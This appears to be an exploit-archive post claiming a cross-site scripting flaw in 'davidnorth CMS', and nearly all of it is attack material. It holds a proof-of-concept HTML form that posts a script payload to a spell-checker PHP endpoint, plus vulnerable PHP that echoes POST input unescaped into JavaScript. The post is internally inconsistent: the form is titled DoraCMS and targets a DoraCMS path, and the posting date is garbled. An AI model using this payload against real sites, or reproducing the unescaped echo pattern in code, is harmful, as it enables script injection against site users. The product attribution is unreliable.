Davidnorth CMS cross site scripting vulnerability

Posted on 30 November -0001
<HTML><HEAD><TITLE>davidnorth CMS cross site scripting vulnerability</TITLE><META http-equiv="Content-Type" content="text/html; charset=utf-8"></HEAD><BODY>|*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*|
|=============================================================|
|[+] Exploit Title: davidnorth cms cross site scripting vulnerability
|[+]
|[+] Exploit Author: Ashiyane Digital Security Team
|[+]
|[+] Download Link : https://github.com/davidnorth/cms
|[+]
|[+] Tested on:  Kali Linux 
|[+]
|[+] Date: 12 /30 / 2016
|=============================================================|
|[+] Exploit Code: 
 
<HTML>
    <HEAD><TITLE>DoraCMS Cross Site Scripting</TITLE></HEAD>
    <BODY>
    <form action="http://127.0.0.1/DoraCMS-master/public/plugins/ztree/demo/cn/asyncData/getNodes.php" method="post">
       <input type="hidden" name="textinputs" value="'"/><ScRiPt >alert('M.R.S.L.Y')</ScRiPt>"/>
    </form>
    </BODY>
</HTML>
============================================================|
Vulnerable code :

<?php
header('Content-type: text/html; charset=utf-8');

// The following variables values must reflect your installation needs.

$aspell_prog    = '"C:Program FilesAspellbinaspell.exe"';    // by FredCK (for Windows)
//$aspell_prog    = 'aspell';                                        // by FredCK (for Linux)

$lang            = 'en_US';
$aspell_opts    = "-a --lang=$lang --encoding=utf-8 -H --rem-sgml-check=alt";        // by FredCK

$tempfiledir    = "./";

$spellercss        = '../spellerStyle.css';                        // by FredCK
$word_win_src    = '../wordWindow.js';                            // by FredCK

$textinputs        = $_POST['textinputs']; # array
$input_separator = "A";

# set the JavaScript variable to the submitted text.
# textinputs is an array, each element corresponding to the (url-encoded)
# value of the text control submitted for spell-checking
function print_textinputs_var() {
    global $textinputs;
    foreach( $textinputs as $key=>$val ) {
        # $val = str_replace( "'", "%27", $val );
        echo "textinputs[$key] = decodeURIComponent("" . $val . "");
";
    }
}

# make declarations for the text input index
function print_textindex_decl( $text_input_idx ) {
    echo "words[$text_input_idx] = [];
";
    echo "suggs[$text_input_idx] = [];
";
}

# set an element of the JavaScript 'words' array to a misspelled word
function print_words_elem( $word, $index, $text_input_idx ) {
    echo "words[$text_input_idx][$index] = '" . escape_quote( $word ) . "';
";
}


# set an element of the JavaScript 'suggs' array to a list of suggestions
function print_suggs_elem( $suggs, $index, $text_input_idx ) {
    echo "suggs[$text_input_idx][$index] = [";
    foreach( $suggs as $key=>$val ) {
        if( $val ) {
            echo "'" . escape_quote( $val ) . "'";
            if ( $key+1 < count( $suggs )) {
                echo ", ";
            }
        }
    }
    echo "];
";
}

# escape single quote
function escape_quote( $str ) {
    return preg_replace ( "/'/", "'", $str );
}


# handle a server-side error.
function error_handler( $err ) {
    echo "error = '" . preg_replace( "/['\]/", "\$0", $err ) . "';
";
}

## get the list of misspelled words. Put the results in the javascript words array
## for each misspelled word, get suggestions and put in the javascript suggs array
function print_checker_results() {

    global $aspell_prog;
    global $aspell_opts;
    global $tempfiledir;
    global $textinputs;
    global $input_separator;
    $aspell_err = "";
    # create temp file
    $tempfile = tempnam( $tempfiledir, 'aspell_data_' );

    # open temp file, add the submitted text.
    if( $fh = fopen( $tempfile, 'w' )) {
        for( $i = 0; $i < count( $textinputs ); $i++ ) {
            $text = urldecode( $textinputs[$i] );

            // Strip all tags for the text. (by FredCK - #339 / #681)
            $text = preg_replace( "/<[^>]+>/", " ", $text ) ;

            $lines = explode( "
", $text );
            fwrite ( $fh, "%
" ); # exit terse mode
            fwrite ( $fh, "^$input_separator
" );
            fwrite ( $fh, "!
" ); # enter terse mode
            foreach( $lines as $key=>$value ) {
                # use carat on each line to escape possible aspell commands
                fwrite( $fh, "^$value
" );
            }
        }
        fclose( $fh );

        # exec aspell command - redirect STDERR to STDOUT
        $cmd = "$aspell_prog $aspell_opts < $tempfile 2>&1";
        if( $aspellret = shell_exec( $cmd )) {
            $linesout = explode( "
", $aspellret );
            $index = 0;
            $text_input_index = -1;
            # parse each line of aspell return
            foreach( $linesout as $key=>$val ) {
                $chardesc = substr( $val, 0, 1 );
                # if '&', then not in dictionary but has suggestions
                # if '#', then not in dictionary and no suggestions
                # if '*', then it is a delimiter between text inputs
                # if '@' then version info
                if( $chardesc == '&' || $chardesc == '#' ) {
                    $line = explode( " ", $val, 5 );
                    print_words_elem( $line[1], $index, $text_input_index );
                    if( isset( $line[4] )) {
                        $suggs = explode( ", ", $line[4] );
                    } else {
                        $suggs = array();
                    }
                    print_suggs_elem( $suggs, $index, $text_input_index );
                    $index++;
                } elseif( $chardesc == '*' ) {
                    $text_input_index++;
                    print_textindex_decl( $text_input_index );
                    $index = 0;
                } elseif( $chardesc != '@' && $chardesc != "" ) {
                    # assume this is error output
                    $aspell_err .= $val;
                }
            }
            if( $aspell_err ) {
                $aspell_err = "Error executing `$cmd`
$aspell_err";
                error_handler( $aspell_err );
            }
        } else {
            error_handler( "System error: Aspell program execution failed (`$cmd`)" );
        }
    } else {
        error_handler( "System error: Could not open file '$tempfile' for writing" );
    }

    # close temp file, delete file
    unlink( $tempfile );
}


?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<link rel="stylesheet" type="text/css" href="<?php echo $spellercss ?>" />
<script language="javascript" src="<?php echo $word_win_src ?>"></script>
<script language="javascript">
var suggs = new Array();
var words = new Array();
var textinputs = new Array();
var error;
<?php

print_textinputs_var();

print_checker_results();

?>

var wordWindowObj = new wordWindow();
wordWindowObj.originalSpellings = words;
wordWindowObj.suggestions = suggs;
wordWindowObj.textInputs = textinputs;

function init_spell() {
    // check if any error occured during server-side processing
    if( error ) {
        alert( error );
    } else {
        // call the init_spell() function in the parent frameset
        if (parent.frames.length) {
            parent.init_spell( wordWindowObj );
        } else {
            alert('This page was loaded outside of a frameset. It might not display properly');
        }
    }
}



</script>

</head>
<!-- <body onLoad="init_spell();">        by FredCK -->
<body onLoad="init_spell();" bgcolor="#ffffff">

<script type="text/javascript">
wordWindowObj.writeBody();
</script>

</body>
</html>

|*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*|
|[+] Discovered By : M.R.S.L.Y
|*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*|</BODY></HTML>
TOP
Malware :

Last 20
Exploits :

Last 20